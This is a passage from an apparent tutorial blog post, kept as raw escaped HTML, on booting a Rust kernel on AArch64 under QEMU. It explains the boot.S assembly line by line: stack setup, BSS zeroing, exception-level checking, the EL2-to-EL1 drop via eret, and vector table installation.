&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// If FP is disabled, this traps with EC=0x07 (FP/ASIMD access trap).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;cpacr_el1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;orr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(3 &amp;lt;&amp;lt; 20)   // FPEN = 0b11
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;cpacr_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;bl&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;rust_main&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;3:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;wfe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;boot.S: the complete boot sequence (crates/arch_aarch64_virt/src/boot.S, lines 1-60)&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now let&amp;rsquo;s walk through each piece to help understand what it means.&lt;/p&gt;
&lt;h3 id=&#34;81-stack-setup-lines-5-6&#34;&gt;8.1 Stack setup (lines 5-6)&lt;/h3&gt;
&lt;figure id=&#34;stack-setup&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__stack_top&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mov&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;sp&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Setting up the stack pointer&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The very first thing we do is set up a stack. But why? Because Rust literally cannot run without one. Every function call pushes a return address onto the stack. Every local variable lives on the stack. Without a valid stack pointer, the first &lt;code&gt;bl&lt;/code&gt; instruction would try to save the return address to&amp;hellip; nowhere. Instant crash.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;__stack_top&lt;/code&gt; is a symbol defined by our linker script. It points to the top of a 64 KB stack memory region. ARM stacks grow downward (from high addresses to low), so we point &lt;code&gt;sp&lt;/code&gt; at the top.&lt;/p&gt;
&lt;p&gt;Why 64 KB? It&amp;rsquo;s a reasonable starting size. We don&amp;rsquo;t have many nested function calls yet, and we don&amp;rsquo;t have a heap, so the stack doesn&amp;rsquo;t need to be huge. If we run out, we&amp;rsquo;ll get a data abort (the ARM equivalent of a segfault). We&amp;rsquo;d increase it then.&lt;/p&gt;
&lt;h3 id=&#34;82-bss-zeroing-lines-8-16&#34;&gt;8.2 BSS zeroing (lines 8-16)&lt;/h3&gt;
&lt;figure id=&#34;bss-zero&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__bss_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x2&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__bss_end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;1:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;cmp&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b.ge&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;f&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;str&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;xzr&lt;/span&gt;, [&lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;], &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#8
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;2:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Zeroing the BSS section&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;BSS stands for &amp;ldquo;Block Started by Symbol&amp;rdquo; (a historical name from the 1950s). It&amp;rsquo;s the section where uninitialized global and static variables live. In Rust, if you write &lt;code&gt;static mut COUNTER: u32 = 0;&lt;/code&gt;, the compiler puts it in &lt;code&gt;.bss&lt;/code&gt;. The key insight: the ELF file doesn&amp;rsquo;t actually store the zeros. It just records the size. That saves space in the binary. But it means the memory might contain garbage when we start.&lt;/p&gt;
&lt;p&gt;The C and Rust languages both guarantee that uninitialized statics start at zero. Before any Rust code runs, we have to zero the entire BSS region manually. That&amp;rsquo;s what this loop does:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Load the start and end addresses of &lt;code&gt;.bss&lt;/code&gt; (defined by the linker script) into &lt;code&gt;x1&lt;/code&gt; and &lt;code&gt;x2.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Compare them. If &lt;code&gt;x1 &amp;gt;= x2&lt;/code&gt;, the BSS is empty (or we&amp;rsquo;re done), skip to label &lt;code&gt;2:&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Store zero (&lt;code&gt;xzr&lt;/code&gt;, the zero register) to the address in &lt;code&gt;x1&lt;/code&gt;, then increment &lt;code&gt;x1&lt;/code&gt; by 8 (one 64-bit word)&lt;/li&gt;
&lt;li&gt;Jump back to the comparison&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The &lt;code&gt;[x1], #8&lt;/code&gt; syntax is a post-increment addressing mode. It means &amp;ldquo;use the address in &lt;code&gt;x1&lt;/code&gt; for the store, THEN add 8 to &lt;code&gt;x1&lt;/code&gt;.&amp;rdquo; It&amp;rsquo;s a single instruction that does two things. ARM loves these compound operations.&lt;/p&gt;
&lt;h3 id=&#34;83-checking-the-exception-level-lines-19-23&#34;&gt;8.3 Checking the exception level (lines 19-23)&lt;/h3&gt;
&lt;figure id=&#34;el-check&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;CurrentEL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;lsr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;cmp&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x1&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;b.ne&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;el1_start&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Detecting the current exception level&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now things get interesting. We need to know what exception level the CPU is running at. QEMU&amp;rsquo;s &lt;code&gt;virt&lt;/code&gt; machine starts us at EL2 (hypervisor level), but we want to run our kernel at EL1 (the normal kernel level). If we&amp;rsquo;re already at EL1 for some reason, we skip the drop.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mrs x1, CurrentEL&lt;/code&gt; reads the &lt;code&gt;CurrentEL&lt;/code&gt; system register. The exception level is encoded in bits [3:2] of this register (ARM&amp;rsquo;s register designs can be a little eccentric). So we shift right by 2 (&lt;code&gt;lsr x1, x1, #2&lt;/code&gt;) and mask off everything except the bottom 2 bits (&lt;code&gt;and x1, x1, #3&lt;/code&gt;). Now &lt;code&gt;x1&lt;/code&gt; holds 0, 1, 2, or 3 corresponding to EL0 through EL3.&lt;/p&gt;
&lt;p&gt;If it&amp;rsquo;s 2, we proceed with the EL2-to-EL1 drop. If it&amp;rsquo;s not, we jump straight to &lt;code&gt;el1_start&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;84-exception-levels-explained&#34;&gt;8.4 Exception levels explained&lt;/h3&gt;
&lt;p&gt;Before we get into the drop, let&amp;rsquo;s talk about why exception levels exist.&lt;/p&gt;
&lt;p&gt;ARM&amp;rsquo;s AArch64 architecture has four privilege levels:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Level&lt;/th&gt;
          &lt;th&gt;Name&lt;/th&gt;
          &lt;th&gt;Who runs here&lt;/th&gt;
          &lt;th&gt;What they can do&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;EL0&lt;/td&gt;
          &lt;td&gt;Application&lt;/td&gt;
          &lt;td&gt;User programs&lt;/td&gt;
          &lt;td&gt;Normal instructions only. Can&amp;rsquo;t touch hardware.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;EL1&lt;/td&gt;
          &lt;td&gt;Kernel&lt;/td&gt;
          &lt;td&gt;Operating systems&lt;/td&gt;
          &lt;td&gt;Configure MMU, handle interrupts, access all memory&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;EL2&lt;/td&gt;
          &lt;td&gt;Hypervisor&lt;/td&gt;
          &lt;td&gt;Virtual machine monitors&lt;/td&gt;
          &lt;td&gt;Virtualize EL1 guests, trap privileged operations&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;EL3&lt;/td&gt;
          &lt;td&gt;Secure Monitor&lt;/td&gt;
          &lt;td&gt;TrustZone firmware&lt;/td&gt;
          &lt;td&gt;Switch between secure and non-secure worlds&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Think about it this way: EL0 is a sandbox. Applications can compute, but they can&amp;rsquo;t mess with memory mappings, disable interrupts, or talk to hardware directly. If they try, the CPU traps to EL1, and the kernel decides what to do (usually: kill the process with a signal).&lt;/p&gt;
&lt;p&gt;EL1 is where kernels live. Linux, macOS, Windows, and our rustOS all run here. You can configure page tables, handle interrupts, and access device memory.&lt;/p&gt;
&lt;p&gt;EL2 is for hypervisors. If you want to run multiple operating systems on the same hardware (like AWS does with EC2 instances), the hypervisor at EL2 virtualizes the hardware so each guest OS at EL1 thinks it has the machine to itself.&lt;/p&gt;
&lt;p&gt;EL3 is for firmware-level security (ARM TrustZone). We don&amp;rsquo;t touch it.&lt;/p&gt;
&lt;p&gt;QEMU starts us at EL2 because it&amp;rsquo;s the most flexible starting point. If you were writing a hypervisor, you&amp;rsquo;d stay there. Since we&amp;rsquo;re writing a kernel, we drop to EL1.&lt;/p&gt;
&lt;h3 id=&#34;85-the-el2-to-el1-drop-lines-26-40&#34;&gt;8.5 The EL2 to EL1 drop (lines 26-40)&lt;/h3&gt;
&lt;figure id=&#34;el-drop&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Set up an EL1 stack pointer.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;ldr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#ed8796&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#eed49f&#34;&gt;__stack_top&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;sp_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Configure EL2 to return to EL1h.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mov&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(0b0101)         // EL1h
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;spsr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;adr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;el1_start&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;elr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Enable FP/ASIMD access at EL1 and ensure EL2 doesn&amp;#39;t trap it.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;mrs&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;cptr_el2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;bic&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#(1 &amp;lt;&amp;lt; 10)    // TFP = 0 (don&amp;#39;t trap FP/ASIMD)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;cptr_el2&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;eret&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Dropping from EL2 to EL1&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This is the most intricate part of the boot sequence. Here&amp;rsquo;s the trick: you can&amp;rsquo;t just &amp;ldquo;jump&amp;rdquo; to a lower exception level. ARM doesn&amp;rsquo;t have a &amp;ldquo;go to EL1&amp;rdquo; instruction. Instead, you use the exception return mechanism backwards.&lt;/p&gt;
&lt;p&gt;Normally, when an exception occurs (such as an interrupt), the CPU saves the current state and jumps to a higher exception level. The handler processes the exception, then executes &lt;code&gt;eret&lt;/code&gt; (exception return) to return. We&amp;rsquo;re abusing this: we set up the return state registers to point at EL1, then execute &lt;code&gt;eret&lt;/code&gt; as if we were &amp;ldquo;returning&amp;rdquo; from an exception that never happened.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s each step:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;msr sp_el1, x0&lt;/code&gt;&lt;/strong&gt; sets the stack pointer that EL1 will use. Each exception level has its own stack pointer. We&amp;rsquo;re at EL2 right now, so &lt;code&gt;sp&lt;/code&gt; refers to &lt;code&gt;sp_el2&lt;/code&gt;. We need to pre-configure &lt;code&gt;sp_el1&lt;/code&gt; before we get there.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;mov x0, #(0b0101)&lt;/code&gt; / &lt;code&gt;msr spsr_el2, x0&lt;/code&gt;&lt;/strong&gt; configures the Saved Program Status Register. When &lt;code&gt;eret&lt;/code&gt; executes, the CPU restores the processor state from &lt;code&gt;spsr_el2&lt;/code&gt;. The value &lt;code&gt;0b0101&lt;/code&gt; (decimal 5) means: return to EL1 using the handler stack pointer variant (called &amp;ldquo;EL1h&amp;rdquo;). Bits [3:2] = &lt;code&gt;01&lt;/code&gt; select EL1. Bit [0] = &lt;code&gt;1&lt;/code&gt; selects the &lt;code&gt;h&lt;/code&gt; variant, meaning EL1 will use &lt;code&gt;sp_el1&lt;/code&gt; as its stack pointer (rather than &lt;code&gt;sp_el0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;adr x0, el1_start&lt;/code&gt; / &lt;code&gt;msr elr_el2, x0&lt;/code&gt;&lt;/strong&gt; sets the Exception Link Register. This is the address the CPU will jump to on &lt;code&gt;eret&lt;/code&gt;. We point it at &lt;code&gt;el1_start&lt;/code&gt;, the label where our EL1 code begins. &lt;code&gt;adr&lt;/code&gt; computes a PC-relative address, which is important because our code might not be running at the address the linker assumed (though, in practice, it is for us).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;bic x0, x0, #(1 &amp;lt;&amp;lt; 10)&lt;/code&gt; / &lt;code&gt;msr cptr_el2, x0&lt;/code&gt;&lt;/strong&gt; disables the floating-point trap at EL2. By default, EL2 can trap FP/ASIMD (NEON) instructions executed at EL1. If we don&amp;rsquo;t clear this bit, the first time Rust tries to use a NEON register (which happens sooner than you&amp;rsquo;d think), the CPU will trap to EL2 and crash. &lt;code&gt;bic&lt;/code&gt; stands for &amp;ldquo;bit clear.&amp;rdquo; It clears bit 10 (the TFP flag) in the &lt;code&gt;cptr_el2&lt;/code&gt; register.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;isb&lt;/code&gt;&lt;/strong&gt; is an Instruction Synchronization Barrier. It forces the CPU to finish processing all pending changes to system registers before executing the next instruction. Without it, the pipeline might still be using stale configuration values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;eret&lt;/code&gt;&lt;/strong&gt; does the actual drop. It atomically loads the program counter from &lt;code&gt;elr_el2&lt;/code&gt; and the processor state from &lt;code&gt;spsr_el2&lt;/code&gt;. In one instruction, we go from EL2 to EL1 and start executing at &lt;code&gt;el1_start&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a beautiful hack, honestly. The hardware designers intended &lt;code&gt;eret&lt;/code&gt; for returning from exception handlers. We&amp;rsquo;re using it as a one-way door to a lower privilege level.&lt;/p&gt;
&lt;h3 id=&#34;86-vector-table-installation-lines-43-47&#34;&gt;8.6 Vector table installation (lines 43-47)&lt;/h3&gt;
&lt;figure id=&#34;vbar-install&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-asm&#34; data-lang=&#34;asm&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;adr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;vectors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;msr&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;vbar_el1&lt;/span&gt;, &lt;span style=&#34;color:#eed49f&#34;&gt;x0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8aadf4&#34;&gt;isb&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Installing the exception vector table&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The CPU needs to know where to jump when an exception occurs (an interrupt, a system call, a data abort, etc.). ARM uses a &lt;strong&gt;vector table&lt;/strong&gt;: a fixed-layout block of code that contains an entry for each exception type. There are 16 entries, every 128 bytes (0x80) apart, for a total of 2048 bytes (0x800).&lt;/p&gt;
&lt;p&gt;We load the address of our &lt;code&gt;vectors&lt;/code&gt; table and write it to &lt;code&gt;vbar_el1&lt;/code&gt; (Vector Base Address Register for EL1). When an exception happens at EL1, the CPU adds an offset to this base address and starts executing there. We&amp;rsquo;ll cover the vector table in detail in Part 3 when we implement interrupt handling.&lt;/p&gt;
&lt;h3 id=&#34;87-fpasimd-enablement-why-rust-needs-neon-lines-49-55&#34;&gt;8.7 FP/ASIMD enablement: why Rust needs NEON (lines 49-55)&lt;/h3&gt;
